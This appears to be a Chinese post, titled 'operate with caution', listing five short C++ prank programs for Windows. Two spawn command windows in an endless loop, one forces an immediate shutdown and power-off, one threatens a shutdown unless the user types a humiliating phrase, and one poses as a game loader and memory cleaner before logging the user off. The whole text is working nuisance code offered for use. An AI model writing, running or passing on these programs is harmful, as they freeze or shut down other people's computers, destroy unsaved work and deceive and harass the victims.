谨慎操作
(1)
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)system("start cmd");
}(2)
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
system("shutdown -s -t 60");
system("shutdown -p");
}(3)
#include<windows.h>
using namespace std;
int main()
{
system("color F5");
for(;;) system("start cmd");
return 0;
}(4)
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main()
{
char Alisy[256];
flag:
system("shutdown -s -t 180");
printf("快说我是猪,不然3分钟关你机!\n");
scanf("%s",&Alisy);
if(0==strcmp(Alisy,"我是猪"))
{
system("shutdown -a");
}
else
{
goto flag;
}
return 0;
}(5)
#include<windows.h>
#include<stdlib.h>
#include<iostream>
using namespace std;
int main()
{
int n;
cout<<"开始游戏按1"<<endl;
cin>>n;
if(n==1)
{
for(int i=0;i<100;i++)
{
cout<<"--------------------------------------------"<<endl;
cout<<" 地图:沙漠2 ------------------------------"<<endl;
cout<<" 正在加载:"<<i<<'%'<<"-----------------------------"<<endl;
cout<<"--------------------------------------------"<<endl;
Sleep(100);
system("cls");
}
}
cout<<"内存已满,是否清理?(1.是,2.否)(填数字)"<<endl;
cin>>n;
if(n==1){
cout<<"开始清理"<<endl;
Sleep(5000);
cout<<"哈哈哈"<<endl;
system("shutdown -l");
}
if(n==2){
cout<<"内存不够,开始强行清理!"<<endl;
system("shutdown -l");
}
return 0;
}